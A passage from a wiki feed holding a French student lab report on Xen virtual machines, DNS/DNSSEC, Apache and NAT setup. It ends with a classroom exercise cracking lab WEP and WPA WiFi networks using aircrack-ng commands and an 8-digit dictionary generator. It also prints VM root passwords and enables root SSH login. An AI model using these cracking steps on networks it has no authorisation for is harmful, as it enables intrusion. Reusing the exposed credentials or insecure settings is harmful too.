''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12143</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12143"/>
		<updated>2026-02-10T14:09:51Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3&lt;br /&gt;
&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:54 -c4 --write log_airodump&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avir récuperer 5000 data :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -b 04:DA:D2:9C:50:54 log_airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
